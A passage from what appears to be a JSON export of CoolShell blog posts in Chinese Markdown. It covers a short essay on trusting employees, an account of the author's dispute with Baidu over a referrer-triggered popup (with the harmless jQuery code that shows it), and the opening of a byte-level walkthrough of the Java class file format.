员工不是13岁\n\n\n**当你把员工当孩子看时，人们就会像孩子一样行事**。\n\n\n当公司里事事都要上报审批时，你就创造出了一种无脑文化。你成功地制造出了老板和员工之间的对立关系。这种关系在咆哮着：“我不相信你！”\n\n\n当你处处限制员工，比如禁上他们在上班时访问外部网站或是开小差，你会得到什么好处？什么也得不到。人们需要开小差，这有助于打破整日的枯燥单调，花点时间上上Youtube或Facebook不会失去什么。\n\n\n如果你要监控你的员工，你得想想你要花多少时间和金钱来监管员工。你浪费了多少钱去安装监控软件？你浪费了多少人力资源去监视员工？你浪费了多少时间去写没有人会看的规章制度？**看看这些成本，你很快就发现，对员工的不信任才是最大的开销**。\n\n\n\n> **感想**：我始终在跟我的团队成员说，最有效的管理就是自己管理自己，而不是还要专们的人来管你。不然的话，你一定会很难受的。如果你能管理好你的工作和任务，我们就不需要项目经理。如果你能管理得好你的做事的方法和流程，就不需要那些搞流程的。如果你能管理得好你的程序质量，我们就不需要QA来监管你…… 等等。**其实，你们如果能管理得好自己，并能自我进化。你们甚至不需要一个经理。但是，你们可能会需要一个为你们跑腿打杂的人，其实，那个人就是经理**。\n> \n> \n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\n* [![加班与效率](../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg)](https://coolshell.cn/articles/10217.html)[加班与效率](https://coolshell.cn/articles/10217.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\nThe post [《Rework》摘录及感想](https://coolshell.cn/articles/9156.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-3-23 “作环保的程序员，从不用百度开始”.md",
    "content": "---\nlayout: post\ntitle: “作环保的程序员，从不用百度开始”\ndate: 2013/3/23/ 13:47:20\nupdated: 2013/3/23/ 13:47:20\nstatus: publish\npublished: true\ntype: post\n---\n\n酷壳对来自百度搜索引擎的访问会弹窗，但是我的这个行为发酵出了一些事情，这里把这个事情说明如下，我会更新相关的东西。内行看门道，外行看热闹。\n\n\n#### 事由\n\n\n**2月6日** 看到[梁斌同学的微博](http://weibo.com/1497035431/zi69DBK3b)（起因可能是因为梁斌同学在微博上对帮助百度的一些工程师们说话导致他的“[微博寻人](http://xunren.thuir.org/)”全站被百度屏蔽）\n\n\n![](../wp-content/uploads/2013/03/01.png)\n\n\n我看到后，觉得梁斌同学有点太看重被百度收录了，没有站长应该有的气质，所以，我[回了一个微博](http://weibo.com/1401880315/zibYUvZYd)——\n\n\n\n> “我的酷壳倒反而因为被百度收录而感到掉价！”\n> \n> \n\n\n**2月6日当天**，我给coolshell做了个弹窗，并发布微博—— （该微博目前已被新浪管理员删除，后面有说明）\n\n\n\n\n> “搞定收工！从百度访问过来的访问弹出对话框。（CoolShell上的网页有缓存，要过些时间才有效）”\n> \n> \n> ![](../wp-content/uploads/2013/03/02.png)\n> \n> \n\n\n**2月21日**：百度的法律顾问发来邮件。\n\n\n\n> From: xxxxxx@baidu.com  \n> \n> To: haoel@hotmail.com  \n> \n> CC: xxxxxx@baidu.com  \n> \n> Subject: 答复: 网站coolshell.cn弹窗事宜  \n> \n> Date: Thu, 21 Feb 2013 07:05:09 +0000\n> \n> \n> 陈浩，您好！\n> \n> \n> 我是百度法务部法律顾问，就您的网站上有贬损百度商标的弹窗，以及通过微博等途径予以传播事宜，我们希望您及时终止。\n> \n> \n> 如您不希望百度搜索收录您的网页，您可以通过Robots 协议予以规定。关于如何禁止百度Robots收录您的网站，如您需要技术方面的支持，我可以协助联系百度的工程师与您沟通。\n> \n> \n> 如有任何问题，请随时联系。\n> \n> \n> 谢谢！\n> \n> \n> 段志勇\n> \n> \n\n\n我当天回复邮件到——\n\n\n\n> 『我是酷壳的法律顾问，请百度停止收录酷壳的网页，以及在所有百度产品线里删除酷壳的文章，尤其是百度文库里我所有的文章和PPT，你们已经违反了中华人民共和国版权著作法，酷壳将保留行使法律的权力』\n> \n> \n\n\n**3月2日**：[新浪微博举报大厅](http://service.account.weibo.com/show?rid=K1CaJ6QFe6K4d)。（把我2月6日弹窗的微博给删除了，注意，其中没有我自辩的过程，还有其中荒唐的逻辑）\n\n\n<http://service.account.weibo.com/show?rid=K1CaJ6QFe6K4d>\n\n\n我问新浪为什么没有我自辩的过程，新浪微博客服回服如下：\n\n\n\n>  尊敬的新浪微博用户： 您好！关于您反馈的被举报问题，经核实此判决符合社区公约规定判定无误，感谢您的支持，祝您生活愉快~~\n> \n> \n\n\n我没有多理会，留下一条“[多谢新浪和百度的自黑](http://weibo.com/1401880315/zlCT8v4si)”的微博我也没管这事了。\n\n\n**3月22日**：收到了来自百度律师代理的邮件，如下：\n\n\n\n> From: xxxxx@teehowe.com  \n> \n> To: haoel@hotmail.com  \n> \n> Subject: 关于贵方酷壳网弹窗构成对百度公司的不正当竞争事宜  \n> \n> Date: Fri, 22 Mar 2013 10:07:10 +0800\n> \n> \n> 陈先生，您好！\n> \n> \n> 我们，北京天昊联合知识产权代理有限公司，受百度在线网络技术（北京）有限公司（以下简称“百度公司”）委托就题述事宜特致函贵方（委托书请见附件）。\n> \n> \n> 百度公司近日发现：用户在使用谷歌、360等浏览器通过百度搜索访问您方酷壳网（[https://coolshell.cn/](https://coolshell.cn/ \"https://coolshell.cn/\")）时，会弹窗一个小窗，上面将百度LOGO打叉，并使用“DO EVIL”、“做环保的程序员，从不用百度开始！”等标语，详细截图后附。我们认为：您方弹窗所含图像及语言描述缺乏事实基础，带有较强的感情色彩，足以误导互联网用户对百度公司产生不合理的怀疑乃至负面评价，从而对百度公司的商业信誉和品牌形象带来一定程度的贬损。根据《反不正当竞争法》第2、14、20条之规定，您方行为已构成对百度公司的不正当竞争。\n> \n> \n> 我们希望您方在收到此函后，清除所有相关侵权程序，立即停止对百度公司的所有侵权行为。我所当事人要求：贵方最迟于**2013年3月25日**前向以下通信地址做出实质回应：\n> \n> \n> 联系人：郑洪  \n> \n> 地址：北京市东城区建国门内大街28号民生金融中心D座10层  \n> \n> 邮编：100005  \n> \n> 电话：010-8529 5526  \n> \n> 传真：010-8529 5528\n> \n> \n> 此信函不影响我方当事人依法所享有的其他任何权利或法律救济途径。我们希望此纠纷能尽快解决，以维护互联网市场的健康有序发展。\n> \n> \n> 期待你方及时回复。如有任何问题，请随时与我们联系！\n> \n> \n> 郑洪\n> \n> \n\n\n弹窗的抓图附件我就不列了，其中有一个委托书附件如下：\n\n\n![](../wp-content/uploads/2013/03/委托书.png)\n\n\n#### 几个观点\n\n\n**1）我非常不喜欢百度公司的非常浓重的商业化**\n\n\n我在《**[做个环保主义的程序员](https://coolshell.cn/articles/7186.html)**》一文中说过一些百度的问题，如：\n\n\n* **搜索结果很差**。一些非技术的东西都搜不出来。技术文章就更不要说了。再比如百度抓取酷壳的网页，一方面是不及时，另一方面是有选择地抓，很多网页并没有抓取到源文，而是抓取到那些转载过去没有注明出处的网站，像《**[做个环保主义的程序员](https://coolshell.cn/articles/7186.html)**》文章发布一年多了，过去的一年在百度里就查不到（这几天又能查到了）。（**我很想了解百度的一些抓取网页的算法和搜索排名的算法，感觉相当诡异**）\n\n\n* **有很多虚假广告**。**我觉得一家公司商业化并没有什么问题，但是这种商业化不应建立在牺牲用户利益的基础上的，这是最最基本的底线**。我觉得百度的商业上在这方面突破了太多的底线。\n\n\n**2）百度应该可以做得更好**\n\n\n@[陈晓鸣在百度](http://weibo.com/acumon \"陈晓鸣在百度\")在私下给我介绍了一些百度的广告方面的技术细节，说是以前的那个竞价排名不存在了。但是难免有一些垃圾和造假。就像淘宝一样也有假货和诈骗。是的，**这中国目前这个大环境下，要有一个干净的平台的确不容易。但是我希望百度能像淘宝一样，在业务上做一些打击虚假信息的活动——建立举报制，曝光所有的虚假和欺诈信息，并有一些惩罚措施。可惜百度做得还很不够主动**。（**与其花时间在我这里，不如花时间做好你自己的事**）\n\n\n**灰尘总是会有的，重点不在于灰尘和垃圾总是会有，重点在于想不想打扫。想不想打扫这是态度问题**。\n\n\n**3）看不起百度并不是看不起百度的技术人员**\n\n\n**我是比较敬重百度的技术人员的。我还是能够“一分为二的看问题”**。比如：deep learning专家余凯、主导凤巢设计的戴文渊，自然语言处理顶级会议的首任华人主席王海峰，架构专家，移动云技术负责人林仕鼎等等。都是值得我学习的很不错的技术牛人。\n\n\n我一向是站在技术人员这边的。这点，在这个事件中也不会改变。**我还是会推荐一些刚毕业的实在找不到更好工作的学生去百度**。正如我在《[来信，创业，移动互联网](https://coolshell.cn/articles/5815.html \"来信， 创业 和 移动互联网\")》一文中说的那样。入世和出世，取其精华去其糟粕。\n\n\n4）**关于弹窗这个事**\n\n\n关于弹窗这个事，**我非常高兴酷壳成为了百度的竞争对手**。我会接受网友的意见，**我会将把弹窗这个事变成不弹窗，直接嵌在酷壳的每一篇文章里**。酷壳上基本坚持不投放任何广告，这回一定要做个公益广告。\n\n\n关于法律上的一些事情，我无所谓，**随时欢迎百度来起诉我，不来起诉就是怂包**。以前当过原告起诉过清华大学出版社，今天当个被告，这样我的人生经历就完整了。大家知道，人生经历对我很重要。\n\n\n**5）感动和回报**\n\n\n我把百度委托律师给我的邮件放到了我的微博里（[点击这里](http://weibo.com/1401880315/zoF7ucEeR \"新浪微博上的百度律师邮件\")），很多朋友说要捐钱给我打官司。这点到是不需要了。但是我真的很感动。所以——\n\n\n**我觉得我应该更多的珍惜大家对我的支持。如果你们在访问一些网站有什么困难的话，可以私下联系我，我愿意为你们提供相关的技术支持。这个事只能在私下做，你们懂的**。\n\n\n**当然，最好方式还是自建代理，如果你想DIY，[你可以看看这篇文章](https://github.com/haoel/haoel.github.io)。**\n\n\n#### 附录：弹窗代码\n\n\n大家问我那个弹窗是怎么做的，很简单的，可以看看coolshell.cn的源代码。就是从referrer中匹配baidu。我用了jquery的一个插件：[bPopup](http://dinbror.dk/bpopup/)，关于那个no baidu插图来自：[豆瓣的拒绝百度的兴趣小组](http://www.douban.com/online/10132155/)。\n\n\n源码如下：**[@Ninja\\_Lu](http://weibo.com/n/Ninja_Lu) 做了一个github的：<https://github.com/lurongkai/anti-baidu>**\n\n\n\n```\n\n<script src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js\"></script>\n<script src=\"https://coolshell.cn/wp-content/themes/inove/js/jquery.bpopup-0.8.0.min.js\"></script>\n\n<script type=\"text/javascript\">\n;(function($) {\n    $(function() {\n        var url=document.referrer;\n        if ( url && url.search(\"http://\")>-1) {\n            var refurl =  url.match(/:\\/\\/(.[^/]+)/)[1];\n            if(refurl.indexOf(\"baidu.com\")>-1){\n                $('#nobaidu_dlg').bPopup();\n            }\n        }\n    });\n\n})(jQuery);\n</script>\n\n<div id=\"nobaidu_dlg\" style=\"background-color:#fff; border-radius:15px;color:#000;display:none;padding:20px;min-width:450px;min-height:180px;\">\n    <img src=\"https://coolshell.cn/wp-content/themes/inove/img/nobaidu.jpg\" align=\"left\">\n     <p style=\"margin-left:200px;margin-top: 20px; line-height: 30px;\">\n     检测到你还在使用百度这个搜索引擎，<br/>\n     做为一个程序员，这是一种自暴自弃！<br/>\n     <br/>\n     </p>\n     <p align=\"center\" style=\"margin-top:20px;\">\n     <b><a href=\"https://coolshell.cn/articles/7186.html\">作环保的程序员，从不用百度开始！</a></b>\n     </p>\n</div>\n\n```\n\nP.S. robots.txt我已经加上了。\n\n\n（全文完，谢谢大家的支持）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [“作环保的程序员，从不用百度开始”](https://coolshell.cn/articles/9308.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-3-5 实例分析Java Class的文件结构.md",
    "content": "---\nlayout: post\ntitle: 实例分析Java Class的文件结构\ndate: 2013/3/5/ 15:28:51\nupdated: 2013/3/5/ 15:28:51\nstatus: publish\npublished: true\ntype: post\n---\n\n**【感谢网友 @[Krq\\_Tiger](http://weibo.com/xmuzyq \"Krq_Tiger\") 投稿】**\n\n\n今天把之前在Evernote中的笔记重新整理了一下，发上来供对java class 文件结构的有兴趣的同学参考一下。\n\n\n学习Java的朋友应该都知道Java从刚开始的时候就打着平台无关性的旗号，说“一次编写，到处运行”，其实说到无关性，Java平台还有另外一个无关 性那就是语言无关性，要实现语言无关性，那么Java体系中的class的文件结构或者说是字节码就显得相当重要了，其实Java从刚开始的时候就有两套 规范，一个是Java语言规范，另外一个是Java虚拟机规范，Java语言规范只是规定了Java语言相关的约束以及规则，而虚拟机规范则才是真正从跨 平台的角度去设计的。今天我们就以一个实际的例子来看看，到底Java中一个Class文件对应的字节码应该是什么样子。 这篇文章将首先总体上阐述一下Class到底由哪些内容构成，然后再用一个实际的Java类入手去分析class的文件结构。\n\n\n在继续之前，我们首先需要明确如下几点：\n\n\n1）Class文件是有8个字节为基础的字节流构成的，这些字节流之间都严格按照规定的顺序排列，并且字节之间不存在任何空隙，对于超过8个字节的数据，将按 照Big-Endian的顺序存储的，也就是说高位字节存储在低的地址上面，而低位字节存储到高地址上面，其实这也是class文件要跨平台的关键，因为 PowerPC架构的处理采用Big-Endian的存储顺序，而x86系列的处理器则采用Little-Endian的存储顺序，因此为了Class文 件在各中处理器架构下保持统一的存储顺序，虚拟机规范必须对起进行统一。\n\n\n2） Class文件结构采用类似C语言的结构体来存储数据的，主要有两类数据项，无符号数和表，无符号数用来表述数字，索引引用以及字符串等，比如 u1,u2,u4,u8分别代表1个字节，2个字节，4个字节，8个字节的无符号数，而表是有多个无符号数以及其它的表组成的复合结构。可能大家看到这里 对无符号数和表到底是上面也不是很清楚，不过不要紧，等下面实例的时候，我会再以实例来解释。\n\n\n明确了上面的两点以后，我们接下来后来看看Class文件中按照严格的顺序排列的字节流都具体包含些什么数据：\n\n\n\n![](../wp-content/uploads/2013/03/1.png \"点击查看原始大小图片\")\n\n\n（上图来自The Java Virtual Machine Specification Java SE 7 Edition)\n\n\n在看上图的时候，有一点我们需要注意，比如cp\\_info，cp\\_info表示常量池，上图中用 constant\\_pool[constant\\_pool\\_count-1]的方式来表示常量池有constant\\_pool\\_count-1个常量，它 这里是采用数组的表现形式，但是大家不要误以为所有的常量池的常量长度都是一样的，其实这个地方只是为了方便描述采用了数组的方式，但是这里并不像编程语 言那里，一个int型的数组，每个int长度都一样。明确了这一点以后，我们在回过头来看看上图中每一项都具体代表了什么含义。\n\n\n1）u4 magic 表示魔数，并且魔数占用了4个字节，魔数到底是做什么的呢？它其实就是表示一下这个文件的类型是一个Class文件，而不是一张JPG图片，或者AVI的电影。而Class文件对应的魔数是0xCAFEBABE.\n\n\n2）u2 minor\\_version 表示Class文件的次版本号，并且此版本号是u2类型的无符号数表示。\n\n\n3） u2 major\\_version 表示Class文件的主版本号，并且主版本号是u2类型的无符号数表示。major\\_version和minor\\_version主要用来表示当前的虚拟 机是否接受当前这种版本的Class文件。不同版本的Java编译器编译的Class文件对应的版本是不一样的。高版本的虚拟机支持低版本的编译器编译的 Class文件结构。比如Java SE 6.0对应的虚拟机支持Java SE 5.0的编译器编译的Class文件结构，反之则不行。\n\n\n4） u2 constant\\_pool\\_count 表示常量池的数量。这里我们需要重点来说一下常量池是什么东西，请大家不要与Jvm内存模型中的运行时常量池混淆了，Class文件中常量池主要存储了字 面量以及符号引用，其中字面量主要包括字符串，final常量的值或者某个属性的初始值等等，而符号引用主要存储类和接口的全限定名称，字段的名称以及描 述符，方法的名称以及描述符，这里名称可能大家都容易理解，至于描述符的概念，放到下面说字段表以及方法表的时候再说。另外大家都知道Jvm的内存模型中 有堆，栈，方法区，程序计数器构成，而方法区中又存在一块区域叫运行时常量池，运行时常量池中存放的东西其实也就是编译器长生的各种字面量以及符号引用， 只不过运行时常量池具有动态性，它可以在运行的时候向其中增加其它的常量进去，最具代表性的就是String的intern方法。\n\n\n5）cp\\_info 表示常量池，这里面就存在了上面说的各种各样的字面量和符号引用。放到常量池的中数据项在The Java Virtual Machine Specification Java SE 7 Edition 中一共有14个常量，每一种常量都是一个表，并且每种常量都用一个公共的部分tag来表示是哪种类型的常量。\n\n\n下面分别简单描述一下具体细节等到后面的实例 中我们再细化。\n\n\n* CONSTANT\\_Utf8\\_info      tag标志位为1,   UTF-8编码的字符串\n* CONSTANT\\_Integer\\_info  tag标志位为3， 整形字面量\n* CONSTANT\\_Float\\_info     tag标志位为4， 浮点型字面量\n* CONSTANT\\_Long\\_info     tag标志位为5， 长整形字面量\n* CONSTANT\\_Double\\_info  tag标志位为6， 双精度字面量\n* CONSTANT\\_Class\\_info    tag标志位为7， 类或接口的符号引用\n* CONSTANT\\_String\\_info    tag标志位为8，字符串类型的字面量\n* CONSTANT\\_Fieldref\\_info  tag标志位为9,  字段的符号引用\n* CONSTANT\\_Methodref\\_info  tag标志位为10，类中方法的符号引用\n* CONSTANT\\_InterfaceMethodref\\_info tag标志位为11, 接口中方法的符号引用\n* CONSTANT\\_NameAndType\\_info tag 标志位为12，字段和方法的名称以及类型的符号引用\n\n\n6） u2 access\\_flags 表示类或者接口的访问信息，具体如下图所示：  \n\n![](../wp-content/uploads/2013/03/2.png \"点击查看原始大小图片\")\n\n\n7）u2 this\\_class 表示类的常量池索引，指向常量池中CONSTANT\\_Class\\_info的常量\n\n\n8）u2 super\\_class 表示超类的索引，指向常量池中CONSTANT\\_Class\\_info的常量\n\n\n9）u2 interface\\_counts 表示接口的数量\n\n\n10）u2 interface[interface\\_counts]表示接口表，它里面每一项都指向常量池中CONSTANT\\_Class\\_info常量\n\n\n11）u2 fields\\_count 表示类的实例变量和类变量的数量\n\n\n12） field\\_info fields[fields\\_count]表示字段表的信息，其中字段表的结构如下图所示：\n\n\n![](../wp-content/uploads/2013/03/3.png)\n\n\n上图中access\\_flags表示字段的访问表示，比如字段是public,private，protect 等，name\\_index表示字段名 称，指向常量池中类型是CONSTANT\\_UTF8\\_info的常量，descriptor\\_index表示字段的描述符，它也指向常量池中类型为 CONSTANT\\_UTF8\\_info的常量，attributes\\_count表示字段表中的属性表的数量，而属性表是则是一种用与描述字段，方法以及 类的属性的可扩展的结构，不同版本的Java虚拟机所支持的属性表的数量是不同的。\n\n\n13） u2 methods\\_count表示方法表的数量\n\n\n14）method\\_info 表示方法表，方法表的具体结构如下图所示：\n\n\n![](../wp-content/uploads/2013/03/4.png)  \n\n其中access\\_flags表示方法的访问表示，name\\_index表示名称的索引，descriptor\\_index表示方法的描述 符，attributes\\_count以及attribute\\_info类似字段表中的属性表，只不过字段表和方法表中属性表中的属性是不同的，比如方法 表中就Code属性，表示方法的代码，而字段表中就没有Code属性。其中具体Class中到底有多少种属性，等到Class文件结构中的属性表的时候再 说说。\n\n\n15） attribute\\_count表示属性表的数量，说到属性表，我们需要明确以下几点：\n\n\n* 属性表存在于Class文件结构的最后，字段表，方法表以及Code属性中，也就是说属性表中也可以存在属性表\n* 属性表的长度是不固定的，不同的属性，属性表的长度是不同的\n\n\n上面说完了Class文件结构中每一项的构成以后，我们以一个实际的例子来解释以下上面所说的内容。\n\n\n\n```\npackage com.ejushang.TestClass;\n\npublic class TestClass implements Super{\n\nprivate static final int staticVar = 0;\n\nprivate int instanceVar=0;\n\npublic int instanceMethod(int param){\n return param+1;\n }\n\n}\n\ninterface Super{ }\n```\n\n通过jdk1.6.0\\_37的javac 编译后的TestClass.java对应的TestClass.class的二进制结构如下图所示：\n\n\n![](../wp-content/uploads/2013/03/5.png)\n\n\n下面我们就根据前面所说的Class的文件结构来解析以下上图中字节流。\n\n\n**1）魔数**  \n\n从Class的文件结构我们知道，刚开始的4个字节是魔数，上图中从地址00000000h-00000003h的内容就是魔数，从上图可知Class的文件的魔数是0xCAFEBABE。\n\n\n **2）主次版本号**  \n\n接下来的4个字节是主次版本号，有上图可知从00000004h-00000005h对应的是0x0000,因此Class的minor\\_version 为0x0000,从00000006h-00000007h对应的内容为0x0032,因此Class文件的major\\_version版本为 0x0032,这正好就是jdk1.6.0不带target参数编译后的Class对应的主次版本。\n\n\n **3）常量池的数量**  \n\n接下来的2个字节从00000008h-00000009h表示常量池的数量，由上图可以知道其值为0x0018，十进制为24个,但是对于常量池的数量 需要明确一点，常量池的数量是constant\\_pool\\_count-1，为什么减一，是因为索引0表示class中的数据项不引用任何常量池中的常 量。\n\n\n **4）常量池**  \n\n我们上面说了常量池中有不同类型的常量，下面就来看看TestClass.class的第一个常量，我们知道每个常量都有一个u1类型的tag标识来表示 常量的类型，上图中0000000ah处的内容为0x0A，转换成二级制是10，有上面的关于常量类型的描述可知tag为10的常量是Constant\\_Methodref\\_info,而Constant\\_Methodref\\_info的结够如下图所示：\n\n\n![](../wp-content/uploads/2013/03/6.png)\n\n\n其中class\\_index指向常量池中类型为CONSTANT\\_Class\\_info的常量，从TestClass的二进制文件结构中可以看出 class\\_index的值为0x0004（地址为0000000bh-0000000ch)，也就是说指向第四个常量。\n\n\nname\\_and\\_type\\_index指向常量池中类型为CONSTANT\\_NameAndType\\_info常量。从上图可以看出name\\_and\\_type\\_index的值为0x0013，表示指向常量池中的第19个常量。\n\n\n接下来又可以通过同样的方法来找到常量池中的所有常量。不过JDK提供了一个方便的工具可以让我们查看常量池中所包含的常量。通过javap -verbose TestClass 即可得到所有常量池中的常量，截图如下：\n\n\n![](../wp-content/uploads/2013/03/7.png)\n\n\n从上图我们可以清楚的看到，TestClass中常量池有24个常量，不要忘记了第0个常量，因为第0个常量被用来表示 Class中的数据项不引用任何常量池中的常量。从上面的分析中我们得知TestClass的第一个常量表示方法，其中class\\_index指向的第四 个常量为java/lang/Object，name\\_and\\_type\\_index指向的第19个常量值为<init>:()V,从这里可 以看出第一个表示方法的常量表示的是java编译器生成的实例构造器方法。通过同样的方法可以分析常量池的其它常量。OK，分析完常量池，我们接下来再分 析下access\\_flags。  \n\n**5）u2 access\\_flags** 表示类或者接口方面的访问信息，比如Class表示的是类还是接口，是否为public,static，final等。具体访问标示的含义之前已经说过 了，下面我们就来看看TestClass的访问标示。Class的访问标示是从0000010dh-0000010e，期值为0x0021，根据前面说的 各种访问标示的标志位，我们可以知道：0x0021=0x0001|0x0020 也即ACC\\_PUBLIC 和 ACC\\_SUPER为真，其中ACC\\_PUBLIC大家好理解，ACC\\_SUPER是jdk1.2之后编译的类都会带有的标志。\n\n\n**6）u2 this\\_class** 表示类的索引值，用来表示类的全限定名称，类的索引值如下图所示：\n\n\n![](../wp-content/uploads/2013/03/8.png)\n\n\n从上图可以清楚到看到，类索引值为0x0003，对应常量池的第三个常量，通过javap的结果，我们知道第三个常量为 CONSTANT\\_Class\\_info类型的常量，通过它可以知道类的全限定名称为：com/ejushang/TestClass /TestClass\n\n\n **7）u2 super\\_class** 表示当前类的父类的索引值，索引值所指向的常量池中类型为CONSTANT\\_Class\\_info的常量，父类的索引值如下图所示，其值为0x0004, 查看常量池的第四个常量，可知TestClass的父类的全限定名称为：java/lang/Object\n\n\n![](../wp-content/uploads/2013/03/9.png)\n\n\n**8）interfaces\\_count和  interfaces[interfaces\\_count]**表示接口数量以及具体的每一个接口，TestClass的接口数量以及接口如下图所示，其中 0x0001表示接口数量为1，而0x0005表示接口在常量池的索引值，找到常量池的第五个常量，其类型为CONSTANT\\_Class\\_info，其 值为：com/ejushang/TestClass/Super\n\n\n![](../wp-content/uploads/2013/03/10.png)\n\n\n**9）fields\\_count 和 field\\_info**, fields\\_count表示类中field\\_info表的数量，而field\\_info表示类的实例变量和类变量，这里需要注意的是 field\\_info不包含从父类继承过来的字段，field\\_info的结构如下图所示：  \n\n![](../wp-content/uploads/2013/03/11.png)\n\n\n其中access\\_flags表示字段的访问标示，比如public,private,protected，static,final等，access\\_flags的取值如下图所示：  \n\n![](../wp-content/uploads/2013/03/12.png \"点击查看原始大小图片\")\n\n\n其中name\\_index 和 descriptor\\_index都是常量池的索引值，分别表示字段的名称和字段的描述符，字段的名称容易理解，但是字段的描述符如何理解呢？其实在JVM 规范中，对于字段的描述符规定如下图所示：  \n\n![](../wp-content/uploads/2013/03/13.png \"点击查看原始大小图片\")  \n\n其中大家需要关注一下上图最后一行，它表示的是对一维数组的描述符，对于String[][]的描述符将是[[ Ljava/lang/String,而对于int[][]的描述符为[[I。接下来的attributes\\_count以及 attribute\\_info分别表示属性表的数量以及属性表。下面我们还是以上面的TestClass为例，来看看TestClass的字段表吧。\n\n\n首先我们来看一下字段的数量，TestClass的字段的数量如下图所示：\n\n\n![](../wp-content/uploads/2013/03/14.png)\n\n\n从上图中可以看出TestClass有两个字段，查看TestClass的源代码可知，确实也只有两个字段，接下来我们看看第一个字段，我们知道第一个字段应该为private int staticVar,它在Class文件中的二进制表示如下图所示：\n\n\n![](../wp-content/uploads/2013/03/15.png)  \n\n其中0x001A表示访问标示，通过查看access\\_flags表可知，其为ACC\\_PRIVATE,ACC\\_STATIC,ACC\\_FINAL,接下 来0x0006和0x0007分别表示常量池中第6和第7个常量，通过查看常量池可知，其值分别为：staticVar和I，其中staticVar为字 段名称，而I为字段的描述符，通过上面对描述符的解释，I所描述的是int类型的变量，接下来0x0001表示staticVar这个字段表中的属性表的 数量，从上图可以staticVar字段对应的属性表有1个，0x0008表示常量池中的第8个常量，查看常量池可以得知此属性为 ConstantValue属性，而ConstantValue属性的格式如下图所示：  \n\n![](../wp-content/uploads/2013/03/16.png)\n\n\n其中attribute\\_name\\_index表述属性名的常量池索引，本例中为ConstantValue，而ConstantValue的 attribute\\_length固定长度为2，而constantValue\\_index表示常量池中的引用，本例中，其中为0x0009，查看第9个 常量可以知道，它表示一个类型为CONSTANT\\_Integer\\_info的常量，其值为0。\n\n\n上面说完了private static final int staticVar=0，下面我们接着说一下TestClass的private int instanceVar=0,在本例中对instanceVar的二进制表示如下图所示：\n\n\n![](../wp-content/uploads/2013/03/17.png)  \n\n其中0x0002表示访问标示为ACC\\_PRIVATE,0x000A表示字段的名称，它指向常量池中的第10个常量，查看常量池可以知道字段名称为 instanceVar，而0x0007表示字段的描述符，它指向常量池中的第7个常量，查看常量池可以知道第7个常量为I，表示类型为 instanceVar的类型为I，最后0x0000表示属性表的数量为0.\n\n\n **10）methods\\_count 和 method\\_info** ，其中methods\\_count表示方法的数量，而method\\_info表示的方法表，其中方法表的结构如下图所示：\n\n\n![](../wp-content/uploads/2013/03/18.png)\n\n\n从上图可以看出method\\_info和field\\_info的结构是很类似的，方法表的access\\_flag的所有标志位以及取值如下图所示：\n\n\n![](../wp-content/uploads/2013/03/19.png \"点击查看原始大小图片\")\n\n\n其中name\\_index和descriptor\\_index表示的是方法的名称和描述符，他们分别是指向常量池的索引。这里需要结解释一下方法的描述 符，方法的描述符的结构为：（参数列表）返回值，比如public int instanceMethod(int param)的描述符为：（I）I，表示带有一个int类型参数且返回值也为int类型的方法，接下来就是属性数量以及属性表了，方法表和字段表虽然都有 属性数量和属性表，但是他们里面所包含的属性是不同。接下来我们就以TestClass来看一下方法表的二进制表示。首先来看一下方法表数量，截图如下：\n\n\n![](../wp-content/uploads/2013/03/20.png)  \n\n从上图可以看出方法表的数量为0x0002表示有两个方法，接下来我们来分析第一个方法，我们首先来看一下TestClass的第一个方法的access\\_flag，name\\_index,descriptor\\_index，截图如下：\n\n\n![](../wp-content/uploads/2013/03/21.png)  \n\n从上图可以知道access\\_flags为0x0001，从上面对access\\_flags标志位的描述，可知方法的access\\_flags的取值为 ACC\\_PUBLIC,name\\_index为0x000B，查看常量池中的第11个常量，知道方法的名称为<init>，0x000C表示 